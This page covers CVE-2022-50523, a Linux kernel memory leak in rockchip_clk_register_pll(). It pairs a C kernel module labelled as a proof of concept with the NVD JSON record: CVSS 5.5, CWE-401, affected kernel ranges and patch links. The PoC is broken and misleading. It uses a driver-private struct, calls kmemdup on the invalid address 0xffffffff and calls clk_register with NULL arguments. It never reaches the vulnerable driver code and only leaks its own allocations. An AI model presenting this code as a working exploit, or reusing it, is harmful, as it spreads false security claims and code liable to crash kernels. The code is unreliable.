CVE-2022-50523

/* CVE-2022-50523 PoC - Triggering memory leak in rockchip_clk_register_pll() * This PoC demonstrates how to trigger the memory leak by repeatedly * causing clk_register() to fail in the PLL registration path. * * Note: Requires a system with Rockchip SoC and kernel module loading privileges. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/clk.h> #include <linux/clk-provider.h> #include <linux/slab.h> #include <linux/of.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50523 - rockchip PLL memory leak"); static int __init cve_2022_50523_init(void) { struct clk_hw *clk_hw; struct rockchip_pll_clock *pll; int ret; int i; pr_info("CVE-2022-50523 PoC: Triggering memory leak\n"); /* Simulate the vulnerable code path: * 1. Allocate rate_table via kmemdup() * 2. Call clk_register() which may fail * 3. Without the fix, rate_table is not freed on failure */ for (i = 0; i < 100; i++) { /* Allocate memory for rate_table (simulating kmemdup) */ pll = kzalloc(sizeof(*pll), GFP_KERNEL); if (!pll) return -ENOMEM; pll->rate_table = kmemdup( (void *)0xffffffff, /* Invalid pointer to trigger failure */ sizeof(unsigned long) * 4, GFP_KERNEL); if (!pll->rate_table) { kfree(pll); continue; } /* Attempt to register - this will fail and leak rate_table * in the vulnerable kernel version */ clk_hw = clk_register(NULL, NULL); if (IS_ERR(clk_hw)) { /* BUG: rate_table is not freed here in vulnerable version */ /* Fixed version should have: kfree(pll->rate_table); */ pr_info("clk_register failed, memory leaked!\n"); continue; } } pr_info("CVE-2022-50523 PoC: Memory leak triggered\n"); return 0; } static void __exit cve_2022_50523_exit(void) { pr_info("CVE-2022-50523 PoC: Module unloaded\n"); } module_init(cve_2022_50523_init); module_exit(cve_2022_50523_exit);

{"cve": {"id": "CVE-2022-50523", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.150", "lastModified": "2026-03-17T16:49:19.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: rockchip: Fix memory leak in rockchip_clk_register_pll()\n\nIf clk_register() fails, @pll->rate_table may have allocated memory by\nkmemdup(), so it needs to be freed, otherwise will cause memory leak\nissue, this patch fixes it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17", "versionEndExcluding": "4.9.337", "matchCriteriaId": "B7EF8E11-E86A-4589-B58E-F3C92B0D8A2B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/20201c3a0a32f127fa4bdf379d6ac01c2978702d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/26b94635f1c84d7f6cb482179125cb17e59c90a5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5b0a1f1247cd42ac5e0d369f8dbb58762692edee", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/739a6a6bbdb793bd57938cb24aa5a6df89983546", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/86e1e080ad14c5fb6c14a5f0eb530b1b38cbc968", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dcd4ba068b194c6ef0071491aa3f12bec8c14d5b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f02c1d8dc8d880cbaaf9094b4f396fe868ee23ff", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f2ffb8653ea85ae39ce44347751fcc4c3e41f6bb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f4d70c139d313948e02360304a6cbcd3a4f5deb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}